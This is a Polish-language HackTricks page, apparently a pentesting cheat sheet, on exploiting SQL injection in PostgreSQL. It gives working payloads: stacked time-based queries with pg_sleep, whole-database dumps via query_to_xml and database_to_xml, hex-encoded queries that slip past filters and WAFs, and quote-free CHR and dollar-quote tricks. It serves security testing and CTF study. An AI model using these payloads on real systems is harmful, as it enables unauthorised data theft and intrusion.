PostgreSQL injection

Wsparcie HackTricks

Jeśli jesteś zainteresowany karierą w hacking i chcesz złamać to, co nie do złamania - zatrudniamy! (wymagana biegła znajomość polskiego w mowie i piśmie).


Ta strona ma na celu wyjaśnienie różnych sztuczek, które mogą pomóc w wykorzystaniu SQL injection znalezionego w bazie danych postgresql oraz uzupełnienie sztuczek, które możesz znaleźć na https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md

Interakcja z siecią - eskalacja uprawnień, skanowanie portów, ujawnienie odpowiedzi NTLM challenge & exfiltracja

Moduł PostgreSQL dblink oferuje możliwości łączenia się z innymi instancjami PostgreSQL i wykonywania połączeń TCP. Te funkcje, w połączeniu z funkcjonalnością COPY FROM, umożliwiają działania takie jak eskalacja uprawnień, skanowanie portów i przechwytywanie odpowiedzi NTLM challenge. Aby uzyskać szczegółowe metody wykonywania tych ataków, sprawdź jak wykonać te ataki.

Możesz przeczytać ten przykład, aby zobaczyć przykład CTF jak załadować dane do dużych obiektów, a następnie wyeksportować zawartość dużych obiektów w nazwie użytkownika funkcji dblink_connect.

Ataki PostgreSQL: Odczyt/zapis, RCE, privesc

Sprawdź, jak skompromitować hosta i eskalować uprawnienia z PostgreSQL w:

5432,5433 - Pentesting Postgresql

Ominięcie WAF

Funkcje łańcuchowe PostgreSQL

Manipulowanie łańcuchami może pomóc w ominięciu WAF-ów lub innych ograniczeń. Na tej stronie możesz znaleźć kilka przydatnych funkcji łańcuchowych.

Złożone zapytania

Pamiętaj, że postgresql obsługuje złożone zapytania, ale wiele aplikacji zgłosi błąd, jeśli zwrócone zostaną 2 odpowiedzi, gdy oczekiwano tylko 1. Jednak nadal możesz nadużywać złożonych zapytań za pomocą wstrzykiwania czasowego:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

XML triki

query_to_xml

Ta funkcja zwróci wszystkie dane w formacie XML w zaledwie jednym pliku. Jest idealna, jeśli chcesz zrzucić dużo danych w zaledwie 1 wierszu:

SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

Ta funkcja zrzuci całą bazę danych w formacie XML w zaledwie 1 wierszu (bądź ostrożny, jeśli baza danych jest bardzo duża, ponieważ możesz spowodować DoS lub nawet swojego własnego klienta):

SELECT database_to_xml(true,true,'');

Strings in Hex

Jeśli możesz uruchomić zapytania przekazując je wewnątrz ciągu (na przykład używając funkcji query_to_xml). Możesz użyć convert_from, aby przekazać ciąg jako hex i w ten sposób obejść filtry:

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

Zabronione cudzysłowy

Jeśli nie możesz użyć cudzysłowów dla swojego ładunku, możesz to obejść za pomocą CHR dla podstawowych klauzul (konkatenacja znaków działa tylko dla podstawowych zapytań, takich jak SELECT, INSERT, DELETE, itp. Nie działa dla wszystkich instrukcji SQL):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

Lub z $. Te zapytania zwracają te same wyniki:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;

Jeśli jesteś zainteresowany karierą w hackingu i chcesz zhakować to, co nie do zhakowania - zatrudniamy! (wymagana biegła znajomość polskiego w mowie i piśmie).

Wsparcie HackTricks

Last updated